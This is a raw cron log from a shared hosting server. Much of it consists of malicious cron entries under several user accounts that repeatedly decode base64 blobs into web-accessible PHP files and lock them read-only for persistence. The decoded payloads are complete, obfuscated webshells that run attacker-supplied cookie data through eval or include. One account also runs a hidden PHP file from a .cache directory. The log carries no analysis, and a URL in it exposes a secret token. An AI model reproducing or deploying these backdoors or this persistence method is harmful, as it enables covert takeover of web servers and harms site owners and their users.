Mar  1 19:40:02 medusa CROND[27572]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:40:02 medusa CROND[27568]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 19:40:02 medusa CROND[27570]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 19:40:02 medusa CROND[27577]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 19:40:02 medusa CROND[27576]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:40:02 medusa CROND[27584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:40:02 medusa CROND[27582]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:40:02 medusa CROND[27588]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:40:02 medusa CROND[27579]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:40:02 medusa CROND[27598]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:41:01 medusa CROND[29977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:41:01 medusa CROND[30156]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:41:01 medusa CROND[30157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:41:01 medusa CROND[30160]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:41:01 medusa CROND[30162]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:41:01 medusa CROND[30164]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:41:01 medusa CROND[30168]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:41:01 medusa CROND[30169]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:41:01 medusa CROND[30171]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:41:01 medusa CROND[30175]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:41:01 medusa CROND[30172]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:41:01 medusa CROND[30179]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:41:01 medusa CROND[30183]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:41:01 medusa CROND[30188]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:42:01 medusa CROND[1437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:42:01 medusa CROND[1520]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:42:01 medusa CROND[1525]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:42:01 medusa CROND[1526]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:42:01 medusa CROND[1529]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:42:01 medusa CROND[1530]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:42:01 medusa CROND[1533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:42:01 medusa CROND[1537]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:42:01 medusa CROND[1540]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:42:01 medusa CROND[1539]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:42:01 medusa CROND[1541]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:42:01 medusa CROND[1542]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:42:01 medusa CROND[1544]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:43:01 medusa CROND[6214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
